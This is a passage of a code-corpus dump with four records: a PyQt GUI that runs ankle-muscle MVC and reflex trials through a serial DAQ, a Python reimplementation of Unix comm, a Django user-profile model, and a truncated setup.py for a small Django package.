serialstring = getSerialResponse()\n if (len(serialstring) != 0): # This would happen if there was an unexpected error with the DAQ\n self.lbl_mvctriallivenotes.setText(serialstring)\n return\n\n self._mvctrialcounter = 0\n self._mvctrialrepetition = 0\n self._mvctimer = QtCore.QTimer()\n self._mvctimer.timeout.connect(self.mvcTrialHandler)\n self._mvctimer.start(1000)\n\n def mvcTrialHandler(self):\n firstrestend = 5\n firstflexend = firstrestend + 5\n secondrestend = firstflexend + 15\n secondflexend = secondrestend + 5\n thirdrestend = secondflexend + 15\n thirdflexend = thirdrestend + 5\n if (self._mvctrialcounter < firstrestend):\n ser.write(b'<6,6,0>')\n self.lbl_mvctriallivenotes.setText(\"Flex in {}\".format(firstrestend-self._mvctrialcounter))\n elif (self._mvctrialcounter >= firstrestend and self._mvctrialcounter < firstflexend):\n ser.write(b'<6,6,1>')\n self.lbl_mvctriallivenotes.setText(\"Goooo!!! {}\".format(firstflexend - self._mvctrialcounter))\n elif (self._mvctrialcounter >= firstflexend and self._mvctrialcounter < secondrestend):\n ser.write(b'<6,6,0>')\n self.lbl_mvctriallivenotes.setText(\"Rest. Flex in {}\".format(secondrestend-self._mvctrialcounter))\n elif (self._mvctrialcounter >= secondrestend and self._mvctrialcounter < secondflexend):\n ser.write(b'<6,6,1>')\n self.lbl_mvctriallivenotes.setText(\"Goooo!!! {}\".format(secondflexend - self._mvctrialcounter))\n elif (self._mvctrialcounter >= secondflexend and self._mvctrialcounter < thirdrestend):\n ser.write(b'<6,6,0>')\n self.lbl_mvctriallivenotes.setText(\"Rest. Flex in {}\".format(thirdrestend-self._mvctrialcounter))\n elif (self._mvctrialcounter >= thirdrestend and self._mvctrialcounter < thirdflexend):\n ser.write(b'<6,6,1>')\n self.lbl_mvctriallivenotes.setText(\"Goooo!!! {}\".format(thirdflexend - self._mvctrialcounter))\n else:\n ser.write(b'<1>')\n self.lbl_mvctriallivenotes.setText(\"Done\")\n self._mvctimer.stop()\n self._mvctimer.deleteLater()\n\n self._mvctrialcounter += 1\n\n\n def getMvcFile(self):\n #Open filedialog box\n options = QFileDialog.Options()\n options |= QFileDialog.DontUseNativeDialog\n files, _ = QFileDialog.getOpenFileNames(self, \"QFileDialog.getOpenFileNames()\", \"\",\n \"Text Files (*.txt)\", options=options)\n if files:\n for f in files:\n if (f.find('MVC') == -1):\n self.lbl_mvctriallivenotes.setText(\"Please Select MVC File\")\n else:\n tempfullfilepath = f\n f = f.split('/')\n f = f[-1] # now f is just the filename\n tempfilename = f\n f = f.strip('.txt')\n f = f.split('_')\n tempflexion = f[-1]\n temppatientnumber = f[0]\n temppatientnumber = int(temppatientnumber.strip(\"Patient\"))\n if ( temppatientnumber != self._patientnumber):\n self.lbl_mvctriallivenotes.setText(\"Patient Number does not match. Import aborted\")\n else:\n if (tempflexion == 'DF'):\n self._mvcdffile = tempfullfilepath\n self.lbl_mvctriallivenotes.setText(\"\")\n self.lineedit_mvcmanual.setText(tempfilename)\n elif (tempflexion == 'PF'):\n self._mvcpffile = tempfullfilepath\n self.lbl_mvctriallivenotes.setText(\"\")\n self.lineedit_mvcmanual.setText(tempfilename)\n else:\n self.lbl_mvctriallivenotes.setText(\"Filename does not specify flexion\")\n\n def importMvcFiles(self):\n global measuredsignalchannel\n global mvctable\n if measuredsignalchannel is None:\n self.lbl_mvctriallivenotes.setText('Set Measured Signal Channel')\n return\n tempfilestoimport = []\n if self._mvcdffile is not None:\n tempfilestoimport.append(self._mvcdffile)\n if self._mvcpffile is not None:\n tempfilestoimport.append(self._mvcpffile)\n\n if (len(tempfilestoimport)==0):\n self.lbl_mvctriallivenotes.setText('Choose file to import')\n return\n\n for f in tempfilestoimport:\n if (f.find('DF') != -1):\n tempflexion = 'DF'\n elif (f.find('PF') != -1):\n tempflexion = 'PF'\n else:\n self.lbl_mvctriallivenotes.setText(\"Flexion direction was not found in file during import\")\n return\n tempdata = np.loadtxt(fname=f, delimiter=',')\n flagcol = tempdata[:,6]\n measuredsigdata = tempdata[:, measuredsignalchannel]\n # get indices where 'rest' or 'flex' periods end\n rest_flex_ending_indices = [0]\n currentflag = flagcol[0]\n for i in range(1, len(flagcol)):\n if (flagcol[i] != currentflag):\n currentflag = flagcol[i]\n rest_flex_ending_indices.append(i)\n elif (i==(len(flagcol)-1)):\n rest_flex_ending_indices.append(i+1)\n for i in range(1, len(rest_flex_ending_indices)):\n if ((rest_flex_ending_indices[i] - rest_flex_ending_indices[i-1]) < 4000):\n self.lbl_mvctriallivenotes.setText(\"Rest or flex period was less than 4000 readings. Check data\")\n return\n mvcserialvals = []\n for i in range(0,3):\n restbeginindex = rest_flex_ending_indices[i*2]\n restendindex = rest_flex_ending_indices[i*2 + 1]\n flexbeginindex = rest_flex_ending_indices[i*2 + 1]\n flexendindex = rest_flex_ending_indices[i*2 + 2]\n restmeasurements = measuredsigdata[restbeginindex+500:restendindex-500] # limit rest measurements just in case the patient flexed early or late\n mvcmeasaurements = measuredsigdata[flexbeginindex:flexendindex]\n zerolevel = int(restmeasurements.mean())\n if (tempflexion == 'DF'):\n mvcserialvals.append(int(mvcmeasaurements.max() - zerolevel))\n elif (tempflexion == 'PF'):\n mvcserialvals.append(int(mvcmeasaurements.min() - zerolevel))\n\n if (tempflexion == 'DF'):\n mvcserialval = abs(max(mvcserialvals))\n mvctable['pf'] = mvcserialval*serval2torqueNm\n self.tablewidget_mvc.setItem(0, 0, QTableWidgetItem(str(round(mvctable['pf'],2))))\n elif (tempflexion == 'PF'):\n mvcserialval = abs(min(mvcserialvals))\n mvctable['df'] = mvcserialval*serval2torqueNm\n self.tablewidget_mvc.setItem(0, 1, QTableWidgetItem(str(round(mvctable['df'],2))))\n self.setDfPfMvc()\n\n def setDfPfMvc(self):\n global mvctable\n if mvctable['pf'] is not None and mvctable['df'] is not None:\n mvctable['dfpf'] = np.mean([abs(mvctable['pf']), abs(mvctable['df'])])\n else:\n mvctable['dfpf'] = None\n\n def customizeSetupTab(self):\n # Expand table widget column\n self.tablewidget_mvc.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\n\n # Setup MVC Trial Flexion Button Group\n self.mvctrialflexionbuttongroup = QButtonGroup(self)\n self.mvctrialflexionbuttongroup.addButton(self.rbtn_mvcmeasurementpf)\n self.mvctrialflexionbuttongroup.addButton(self.rbtn_mvcmeasurementdf)\n self.mvctrialflexionbuttongroup.buttonClicked.connect(self.setMvcTrialFlexion)\n\n def customizeVoluntaryReflexMeasurementTab(self):\n # Add pyqtgraph plot\n\n # Set axes properties\n xAxisItem = pg.AxisItem(orientation='bottom', showValues=False)\n yAxisItem = pg.AxisItem(orientation='left', showValues=True)\n xAxisItem.showLabel(False)\n yAxisItem.showLabel(False)\n\n # Initialize plot\n pg.setConfigOption('background', 'w')\n pg.setConfigOption('foreground', 'k')\n self.plotwin = pg.GraphicsLayoutWidget()\n self.layout_pyqtgraph.addWidget(self.plotwin)\n self.plt = self.plotwin.addPlot(row=0, col=0, rowspan=1, colspan=1, axisItems={'left': yAxisItem, 'bottom': xAxisItem})\n self.plt.setRange(xRange=(0, 1), yRange=(-1, 1), padding=0.0)\n\n # Init lines\n self.reference_line = pg.PlotCurveItem()\n self.measured_line = pg.PlotCurveItem()\n self.zero_line = pg.PlotCurveItem()\n\n # Define line properties and set properties\n reference_line_pen = pg.mkPen(color='c', width=30, style=QtCore.Qt.SolidLine)\n measured_line_pen = pg.mkPen(color='r', width=10, style=QtCore.Qt.SolidLine)\n zero_line_pen = pg.mkPen(color='k', width=5, style=QtCore.Qt.DashLine)\n\n self.measured_line.setPen(measured_line_pen)\n self.zero_line.setPen(zero_line_pen)\n self.reference_line.setPen(reference_line_pen)\n\n # Set lines in initial position\n xdata = np.array([0, 1])\n ydata = np.array([0, 0])\n self.reference_line.setData(x=xdata, y=ydata)\n self.measured_line.setData(x=xdata, y=ydata)\n self.zero_line.setData(x=xdata, y=ydata)\n\n # Add lines to plot\n self.plt.addItem(self.reference_line)\n self.plt.addItem(self.measured_line)\n self.plt.addItem(self.zero_line)\n\n # Redo Ankle Position Radiobutton text\n self.rbtn_volreflex5pf.setText(u' 5\\N{DEGREE SIGN} PF')\n self.rbtn_volreflex10pf.setText(u'10\\N{DEGREE SIGN} PF')\n self.rbtn_volreflex15pf.setText(u'15\\N{DEGREE SIGN} PF')\n self.rbtn_volreflex20pf.setText(u'20\\N{DEGREE SIGN} PF')\n self.rbtn_volreflex0.setText(u' 0\\N{DEGREE SIGN}')\n self.rbtn_volreflex5df.setText(u' 5\\N{DEGREE SIGN} DF')\n self.rbtn_volreflex10df.setText(u'10\\N{DEGREE SIGN} DF')\n\n # Group Ankle Position RadioButtons\n self.volreflexanklepositionbuttongroup = QButtonGroup(self)\n self.volreflexanklepositionbuttongroup.addButton(self.rbtn_volreflex5pf)\n self.volreflexanklepositionbuttongroup.addButton(self.rbtn_volreflex10pf)\n self.volreflexanklepositionbuttongroup.addButton(self.rbtn_volreflex15pf)\n self.volreflexanklepositionbuttongroup.addButton(self.rbtn_volreflex20pf)\n self.volreflexanklepositionbuttongroup.addButton(self.rbtn_volreflex0)\n self.volreflexanklepositionbuttongroup.addButton(self.rbtn_volreflex5df)\n self.volreflexanklepositionbuttongroup.addButton(self.rbtn_volreflex10df)\n self.volreflexanklepositionbuttongroup.buttonClicked.connect(self.setVoluntaryReflexAnklePosition)\n\n # Group Voluntary Reflex Flexion RadioButtons\n self.volreflexflexionbuttongroup = QButtonGroup(self)\n self.volreflexflexionbuttongroup.addButton(self.rbtn_volreflexdf)\n self.volreflexflexionbuttongroup.addButton(self.rbtn_volreflexpf)\n self.volreflexflexionbuttongroup.addButton(self.rbtn_volreflexdfpf)\n self.volreflexflexionbuttongroup.buttonClicked.connect(self.setVoluntaryReflexFlexion)\n\n # Group Voluntary Reflex Sinusoid Freqency RadioButtons\n self.volreflexrefsigbtngroup = QButtonGroup(self)\n # Sinusoid Buttons\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig1) #0.25 Hz\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig2) #0.50 Hz\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig3) #0.75 Hz\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig4) #1.00 Hz\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig5) #1.25 Hz\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig6) #1.50 Hz\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig7) #1.75 Hz\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig8) #2.00 Hz\n # Other reference signal radiobutons\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig_prbs) #PRBS\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig_step) #Step\n self.volreflexrefsigbtngroup.addButton(self.rbtn_refsig_other) #Other\n\n self.volreflexrefsigbtngroup.buttonClicked.connect(self.setReferenceSignal)\n\n # Connect Trial Spinbox\n self.spinboxtrialnumber.valueChanged.connect(self.setVoluntaryReflexTrialNumber)\n\n def minimizeWindow(self):\n self.showNormal()\n self.showMinimized()\n\n def maximizeWindow(self):\n self.showNormal()\n self.showMaximized()\n\n def closeWindow(self):\n QApplication.quit()\n\n def setVoluntaryReflexTrialNumber(self, newvalue):\n if (newvalue == 0):\n self._volreflextrialnumber = None\n else:\n self._volreflextrialnumber = int(newvalue)\n self.completeVoluntaryReflexFilename()\n\n def setReferenceSignal(self, btn_volreflexreferencesignal):\n global refsignaltype\n global refsignalfreq\n btntext = btn_volreflexreferencesignal.text()\n if (btntext == \"Other\"):\n self._volreflexreferencesignal = None\n refsignaltype = 'other'\n refsignalfreq = None\n elif (btntext == \"PRBS\"):\n refsignaltype = 'prbs'\n refsignalfreq = None\n self._volreflexreferencesignal = btntext\n elif (btntext == \"Step\"):\n refsignaltype = 'step'\n refsignalfreq = None\n self._volreflexreferencesignal = btntext\n else:\n refsignaltype = 'sine'\n # get sinusoid frequency\n freqtext = btntext\n hzind = freqtext.find('Hz')\n freqtext = freqtext[0:hzind]\n refsignalfreq = float(freqtext)\n # make frequency info ready to add to filename\n btntext = btntext.replace(\" \", \"\")\n self._volreflexreferencesignal = btntext.replace(\".\", \"-\")\n self.completeVoluntaryReflexFilename()\n\n def setVoluntaryReflexAnklePosition(self, btn_volreflexankleposition):\n tempAnklePosition = btn_volreflexankleposition.objectName()\n if ( tempAnklePosition == \"rbtn_volreflex0\" ):\n self._volreflexankleposition = \"Neutral\"\n elif ( tempAnklePosition == \"rbtn_volreflex5df\"):\n self._volreflexankleposition = \"5DF\"\n elif ( tempAnklePosition == \"rbtn_volreflex10df\"):\n self._volreflexankleposition = \"10DF\"\n elif ( tempAnklePosition == \"rbtn_volreflex5pf\"):\n self._volreflexankleposition = \"5PF\"\n elif ( tempAnklePosition == \"rbtn_volreflex10pf\"):\n self._volreflexankleposition = \"10PF\"\n elif ( tempAnklePosition == \"rbtn_volreflex15pf\"):\n self._volreflexankleposition = \"15PF\"\n elif ( tempAnklePosition == \"rbtn_volreflex20pf\"):\n self._volreflexankleposition = \"20PF\"\n else:\n self._volreflexankleposition = None\n self.completeVoluntaryReflexFilename()\n\n def setVoluntaryReflexFlexion(self, btn_volreflexflexion):\n global topborder\n global bottomborder\n global mvctable\n global percentmvc\n global volreflexflexion\n tempFlexion = btn_volreflexflexion.text()\n if ( tempFlexion == \"Plantarflexion\" ):\n volreflexflexion = \"PF\"\n if (mvctable['pf'] is None):\n self.lbl_volreflexlivenotes.setText('Import PF MVC Trial Readings')\n else:\n #Set Plot Ranges for Test\n self.lbl_trialflexionmvc.setText(str(round(mvctable['pf'],2)))\n refsignalmax = 0\n refsignalmin = -(percentmvc*mvctable['pf'])\n refsignalspan = abs(refsignalmax - refsignalmin)\n topborder = refsignalmax+0.3*refsignalspan\n bottomborder = refsignalmin-0.6*refsignalspan\n self.plt.setRange(xRange=(0,1), yRange=(bottomborder, topborder), padding=0.0)\n elif (tempFlexion == \"Dorsiflexion\" ):\n volreflexflexion = \"DF\"\n if (mvctable['df'] is None):\n self.lbl_volreflexlivenotes.setText('Import DF MVC Trial Readings')\n else:\n #Set Plot Ranges for Test\n self.lbl_trialflexionmvc.setText(str(round(mvctable['df'],2)))\n refsignalmax = (percentmvc*mvctable['df'])\n refsignalmin = 0\n refsignalspan = abs(refsignalmax - refsignalmin)\n topborder = refsignalmax+0.6*refsignalspan\n bottomborder = refsignalmin-0.3*refsignalspan\n self.plt.setRange(xRange=(0,1), yRange=(bottomborder, topborder), padding=0.0)\n elif (tempFlexion == \"Dorsiflexion-Plantarflexion\"):\n volreflexflexion = \"DFPF\"\n if (mvctable['dfpf'] is None):\n self.lbl_volreflexlivenotes.setText('Import DF and PF MVC Trial Readings')\n else:\n avgmvc = mvctable['dfpf']\n self.lbl_trialflexionmvc.setText(str(round(avgmvc, 2)))\n refsignalmax = percentmvc*avgmvc\n refsignalmin = -percentmvc*avgmvc\n refsignalspan = abs(refsignalmax - refsignalmin)\n topborder = refsignalmax+0.3*refsignalspan\n bottomborder = refsignalmin-0.3*refsignalspan\n self.plt.setRange(xRange=(0,1), yRange=(bottomborder, topborder), padding=0.0)\n else:\n volreflexflexion = None\n self.completeVoluntaryReflexFilename()\n\n def completeVoluntaryReflexFilename(self):\n global volreflexflexion\n # Check if Ankle Position, Flexion and Patient Number are set. If not, exit routine\n if (self._volreflexankleposition is None or volreflexflexion is None or self._patientnumber is None):\n self.lbl_volreflexfilename.setText(\"Complete Settings\")\n return\n\n self._volreflexfilename = \"PatNo{}_VR_AnklePos{}_{}\".format(self._patientnumber, self._volreflexankleposition, volreflexflexion)\n # Optional parameters\n if (self._volreflexreferencesignal is not None):\n self._volreflexfilename = self._volreflexfilename + \"_{}\".format(self._volreflexreferencesignal)\n if (self._volreflextrialnumber is not None):\n self._volreflexfilename = self._volreflexfilename + \"_Trial{}\".format(self._volreflextrialnumber)\n # Finalize filename\n self._volreflexfilename = self._volreflexfilename + \".txt\"\n self.lbl_volreflexfilename.setText(self._volreflexfilename)\n\n def startVoluntaryReflexTrail(self):\n global ser\n global measuredsignalchannel\n global referencesignalchannel\n #Check Settings\n if (self._volreflextrialthread.isRunning()):\n self.lbl_volreflexlivenotes.setText(\"Thread Is Already Running\")\n return\n self.lbl_volreflexlivenotes.setText(\"\")\n if (measuredsignalchannel is None):\n self.lbl_volreflexlivenotes.setText(\"Set Measured Signal Channel\")\n return\n if (referencesignalchannel is None):\n self.lbl_volreflexlivenotes.setText(\"Set Reference Signal Channel\")\n return\n if not (isinstance(ser, serial.Serial)):\n self.lbl_volreflexlivenotes.setText(\"Connect Serial Device\")\n return\n if (self._volreflexankleposition is None):\n self.lbl_volreflexlivenotes.setText(\"Set Ankle Positon\")\n return\n if (volreflexflexion is None):\n self.lbl_volreflexlivenotes.setText(\"Set Flexion\")\n return\n\n # Ensure channels reading correct voltage Ranges\n voltagerangecommand_measuredsignal = \"<5,{},1>\".format(measuredsignalchannel) # assuems -5V to +5V readings\n voltagerangecommand_referencesignal = \"<5,{},0>\".format(referencesignalchannel) # assumes 0-5V readings\n ser.write(str.encode(voltagerangecommand_measuredsignal))\n ser.write(str.encode(voltagerangecommand_referencesignal))\n # Start Writing Process\n ser.write(b'<6,6,0>') # Insert Value into 6th channel of daq reading for post-process flag\n n = datetime.datetime.now()\n startStr = \"<0,{},{},{},{},{},{},{}>\".format(self._volreflexfilename, n.year, n.month, n.day, n.hour, n.minute, n.second)\n bStartStr = str.encode(startStr)\n ser.write(bStartStr) #start writing to sd\n serialstring = getSerialResponse()\n if (len(serialstring) != 0): # This would happen if there was an unexpected error with the DAQ\n self.lbl_volreflexlivenotes.setText(serialstring)\n return\n self._volreflextrialthread.start()\n\n def initVoluntaryReflexTrialThread(self):\n self._volreflextrialthread = VolReflexTrialThread()\n self._volreflextrialthread.printToVolReflexLabel.connect(self.printToVolReflexLabel)\n self._volreflextrialthread.supplyDaqReadings.connect(self.updateVolReflexPlot)\n\n def updateVolReflexPlot(self, measuredval, referenceval, progressbarval):\n #Update Progressbar\n self.prog_volreflextrial.setValue(progressbarval)\n self.prog_volreflextrial.update()\n\n #Update Plot\n self.reference_line.setData(x=np.array([0,1]),\n y=np.array([referenceval, referenceval]))\n self.measured_line.setData(x=np.array([0,1]),\n y=np.array([measuredval, measuredval]))\n self.plt.update()\n\n def printToVolReflexLabel(self, inputStr):\n self.lbl_volreflexlivenotes.setText(inputStr)\n\n def connectButtonsInSetupTab(self):\n self.btn_selectcomport.clicked.connect(self.selectComPort)\n self.btn_refreshcomlist.clicked.connect(self.refreshComPortList)\n self.btn_selectreferencesignal.clicked.connect(self.selectReferenceSignalChannel)\n self.btn_selectmeasuredsignal.clicked.connect(self.selectMeasuredSignalChannel)\n self.btn_setpatientnumber.clicked.connect(self.setPatientNumber)\n self.btn_resetserial.clicked.connect(self.resetSerial)\n self.btn_startmvctrial.clicked.connect(self.startMvcTrial)\n self.btn_getmvcfiles.clicked.connect(self.getMvcFile)\n self.btn_importmvcfiles.clicked.connect(self.importMvcFiles)\n self.btn_startvolreflextrial.clicked.connect(self.startVoluntaryReflexTrail)\n self.btn_minimize.clicked.connect(self.minimizeWindow)\n self.btn_maximize.clicked.connect(self.maximizeWindow)\n self.btn_close.clicked.connect(self.closeWindow)\n self.btn_setmvcmanual.clicked.connect(self.setmvcmanual)\n\n def setmvcmanual(self):\n mvctable['df'] = float(self.lineedit_dfmvcman.text())\n mvctable['pf'] = float(self.lineedit_pfmvcman.text())\n self.tablewidget_mvc.setItem(0, 0, QTableWidgetItem(str(round(mvctable['pf'],2))))\n self.tablewidget_mvc.setItem(0, 1, QTableWidgetItem(str(round(mvctable['df'],2))))\n self.setDfPfMvc()\n\n def startSettingsTab(self):\n\n # Complete GUI Programming\n self.customizeSetupTab()\n self.customizeVoluntaryReflexMeasurementTab()\n\n # Init Settings Tab Lists\n self.refreshComPortList()\n self.initReferenceSignalList()\n self.initMeasuredSignalList()\n\n # Connect buttons\n self.connectButtonsInSetupTab()\n\n #Init Voluntary Reflex Trial Thread\n self.initVoluntaryReflexTrialThread()\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n window = MainWindow()\n sys.exit(app.exec_())\n","sub_path":"ResearchGUI/VoluntaryReflexGui.py","file_name":"VoluntaryReflexGui.py","file_ext":"py","file_size_in_byte":35832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"368981812","text":"#!/usr/bin/python\n\nimport random, sys\nfrom optparse import OptionParser\n\nclass comm:\n def __init__(self, filename, filename2):\n if filename == '-':\n g = open(filename2, 'r')\n self.lines2 = g.readlines()\n g.close()\n self.lines1 = sys.stdin.readlines()\n elif filename2 == '-':\n f = open(filename, 'r')\n self.lines1 = f.readlines()\n f.close()\n self.lines2 = sys.stdin.readlines()\n else:\n f = open(filename, 'r')\n self.lines1 = f.readlines()\n f.close()\n g = open(filename2, 'r')\n self.lines2 = g.readlines()\n g.close()\n\n def difference_output(self, is_unsorted, col_1_suppressed, col_2_suppressed, col_3_suppressed):\n print_string = \"\"\n if is_unsorted == \"False\":\n file_set = 1\n a = 0\n b = 0\n lines1_length = len(self.lines1)\n lines2_length = len(self.lines2)\n while (len(self.lines1) > 0 or len(self.lines2) > 0):#TODO: change and to or\n if(len(self.lines1) <= 0):\n if(col_1_suppressed == \"True\" and col_2_suppressed == \"False\"):\n for i in range(len(self.lines2)):\n print_string+= self.lines2[i]# + \"\\n\"\n elif(col_1_suppressed == \"False\" and col_2_suppressed == \"False\"):\n for i in range(len(self.lines2)):\n print_string+= \"\\t\"+self.lines2[i]# + \"\\n\"\n sys.stdout.write(print_string)\n return\n if(len(self.lines2) <= 0):\n if(col_1_suppressed == \"False\"):\n for i in range(len(self.lines1)):\n print_string+= self.lines1[i]# + \"\\n\"\n \n sys.stdout.write(print_string)\n return\n if(file_set == 1):\n for i in range(len(self.lines1)):\n for j in range(len(self.lines2)):\n # print \"File 1: \" + self.lines1[i]\n # print \"File 2: \" + self.lines2[j]\n if self.lines1[i] == self.lines2[j]:\n if(col_1_suppressed == \"True\" and col_2_suppressed == \"False\" and col_3_suppressed == \"False\"):\n print_string += \"\\t\"+self.lines1[i]#+\"\\n\"\n elif(col_1_suppressed == \"True\" and col_2_suppressed == \"True\" and col_3_suppressed == \"False\"):\n print_string += self.lines1[i]#+\"\\n\"\n elif(col_1_suppressed == \"False\" and col_2_suppressed == \"True\" and col_3_suppressed == \"False\"):\n print_string += \"\\t\"+self.lines1[i]#+\"\\n\"\n elif(col_1_suppressed == \"False\" and col_2_suppressed == \"False\" and col_3_suppressed == \"False\"):\n print_string += \"\\t\\t\" + self.lines1[i]#+\"\\n\"\n self.lines1.remove(self.lines1[i])\n self.lines2.remove(self.lines2[j])\n break\n elif j == len(self.lines2)-1:\n if(col_1_suppressed == \"False\"):\n print_string += self.lines1[i]#+\"\\n\"\n self.lines1.remove(self.lines1[i])\n break\n lines1_length-=1;\n if (len(self.lines1) != 0 and len(self.lines2)!=0):\n #print \"1: \" + self.lines1[0]\n #print \"2: \" + self.lines2[0]\n if(self.lines1[0] < self.lines2[0]):\n file_set = 1 \n else:\n file_set = 2\n if(file_set == 2):\n for i in range(len(self.lines2)):\n for j in range(len(self.lines1)):\n #print \"File 2: \" + self.lines2[i]\n #print \"File 1: \" + self.lines1[j]\n if self.lines2[i] == self.lines1[j]:\n if(col_1_suppressed == \"True\" and col_2_suppressed == \"False\" and col_3_suppressed == \"False\"):\n print_string += \"\\t\"+self.lines2[i]#+\"\\n\"\n elif(col_1_suppressed == \"True\" and col_2_suppressed == \"True\" and col_3_suppressed == \"False\"):\n print_string += self.lines2[i]#+\"\\n\"\n elif(col_1_suppressed == \"False\" and col_2_suppressed == \"True\" and col_3_suppressed == \"False\"):\n print_string += \"\\t\"+self.lines2[i]#+\"\\n\"\n elif(col_1_suppressed == \"False\" and col_2_suppressed == \"False\" and col_3_suppressed == \"False\"):\n print_string += \"\\t\\t\" + self.lines2[i]#+\"\\n\"\n self.lines1.remove(self.lines1[j])\n self.lines2.remove(self.lines2[i])\n break\n elif j == len(self.lines1)-1:\n if(col_1_suppressed == \"True\" and col_2_suppressed == \"False\"):\n print_string += self.lines2[i]#+\"\\n\"\n elif(col_1_suppressed == \"False\" and col_2_suppressed == \"False\"):\n print_string += \"\\t\" + self.lines2[i]#+\"\\n\"\n self.lines2.remove(self.lines2[i])\n break\n lines2_length-=1;\n if (len(self.lines1) != 0 and len(self.lines2)!=0):\n #print \"1: \" + self.lines1[0]\n #print \"2: \" + self.lines2[0]\n if(self.lines1[0] < self.lines2[0]):\n file_set = 1\n else:\n file_set = 2\n sys.stdout.write(print_string)\n return\n \n else:\n for i in range(len(self.lines1)):\n for j in range(len(self.lines2)):\n \n if self.lines1[i] == self.lines2[j]:\n if(col_1_suppressed == \"True\" and col_2_suppressed == \"False\" and col_3_suppressed == \"False\"):\n print_string += \"\\t\"+self.lines1[i]#+\"\\n\"\n elif(col_1_suppressed == \"True\" and col_2_suppressed == \"True\" and col_3_suppressed == \"False\"):\n print_string += self.lines1[i]#+\"\\n\"\n elif(col_1_suppressed == \"False\" and col_2_suppressed == \"True\" and col_3_suppressed == \"False\"):\n print_string += \"\\t\"+self.lines1[i]#+\"\\n\"\n elif(col_1_suppressed == \"False\" and col_2_suppressed == \"False\" and col_3_suppressed == \"False\"):\n print_string += \"\\t\\t\" + self.lines1[i]#+\"\\n\"\n self.lines2.remove(self.lines2[j])\n break\n\n elif j == len(self.lines2)-1:\n if(col_1_suppressed == \"False\"):\n print_string += self.lines1[i]#+\"\\n\"\n for i in range(len(self.lines2)):\n if(col_1_suppressed == \"False\" and col_2_suppressed == \"False\"):\n print_string += \"\\t\" + self.lines2[i]\n elif(col_1_suppressed == \"True\" and col_2_suppressed == \"False\"):\n print_string += self.lines2[i]\n else:\n break\n sys.stdout.write(print_string)\n return\n \n\n\ndef main():\n version_msg = \"%prog 2.0\"\n usage_msg = \"\"\"%prog [OPTION]... FILE\n\nOutput randomly selected lines from FILE.\"\"\"\n\n parser = OptionParser(version=version_msg,\nusage=usage_msg)\n parser.add_option(\"-u\", \"--unsorted\",\n action=\"store_true\", dest=\"is_unsorted\", default=\"False\", help=\"determines whether function is sorted or unsorted.\")\n parser.add_option(\"-1\", \"--suppress_col_1\", \n action=\"store_true\", dest=\"col_1_suppressed\", default=\"False\", help=\"choose to suppress column 1 in the output.\")\n parser.add_option(\"-2\", \"--suppress_col_2\",\n action=\"store_true\", dest=\"col_2_suppressed\", default=\"False\", help=\"choose to suppress column 2 in the output.\")\n parser.add_option(\"-3\", \"--suppress_col_3\", \n action=\"store_true\", dest=\"col_3_suppressed\", default=\"False\", help=\"choose to suppress column 3 in the output.\")\n options, args = parser.parse_args(sys.argv[1:])\n\n try:\n is_unsorted = str(options.is_unsorted)\n except:\n parser.error(\"invalid value for UNSORTED: {0}\".\n format(options.is_unsorted))\n try:\n col_1_suppressed = str(options.col_1_suppressed)\n except:\n parser.error(\"invalid value for COL_1_SUPPRESSED: {0}\".\n format(options.col_1_suppressed))\n try:\n col_2_suppressed = str(options.col_2_suppressed)\n except:\n parser.error(\"invalid value for COL_2_SUPPRESSED: {0}\".\n format(options.col_2_suppressed))\n try:\n col_3_suppressed = str(options.col_3_suppressed)\n except:\n parser.error(\"invalid value for COL_3_SUPPRESSED: {0}\".\n format(options.col_3_suppressed))\n\n if len(args) != 2: #TODO: check this\n parser.error(\"wrong number of operands\")\n \n file_1 = args[0]\n file_2 = args[1]\n #TODO: check if '-' is input\n try:\n generator = comm(file_1, file_2)\n generator.difference_output(is_unsorted, col_1_suppressed, col_2_suppressed, col_3_suppressed)\n except IOError(errno, strerror):\n parser.error(\"I/O error({0}): {1}\".\n format(errno, strerror))\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"Assignment 3/comm.py","file_name":"comm.py","file_ext":"py","file_size_in_byte":10182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"241112024","text":"from django.db import models\nfrom django.contrib.auth import get_user_model\nfrom phonenumber_field.modelfields import PhoneNumberField\n\n\nclass Profile(models.Model):\n user = models.OneToOneField(\n get_user_model(),\n related_name='profile',\n on_delete=models.CASCADE,\n verbose_name='User'\n )\n phone_number = PhoneNumberField(\n null=False,\n blank=False,\n verbose_name='Phone Number'\n )\n\n def __str__(self):\n return self.user.get_full_name() + \"'s Profile\"\n\n class Meta:\n db_table = 'profiles'\n verbose_name = 'Profile'\n verbose_name_plural = 'Profiles'\n","sub_path":"source/accounts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"41205750","text":"#!/usr/bin/env python\n#coding: utf-8\n__author__ = 'xors'\nfrom setuptools import setup, find_packages\n# from distutils.core import setup\nimport sys\n\nreload(sys).setdefaultencoding(\"UTF-8\")\n\nsetup(\n name='lugati',\n version='0.1.5',\n author='Sergey Grigorev',\n author_email='dev@lugati.ru',\n packages=find_packages(),\n url='http://lugati.ru',\n download_url = 'https://github.com/xorsnn/lugati/zipball/master',\n license = 'MIT license',\n description = u'Основные процедуры и функции lugati_cms.'.encode('utf8'),\n classifiers=(\n 'Development Status :: 4 - Beta',\n 'Environment :: Web Environment',\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Natural Language :: Russian',\n 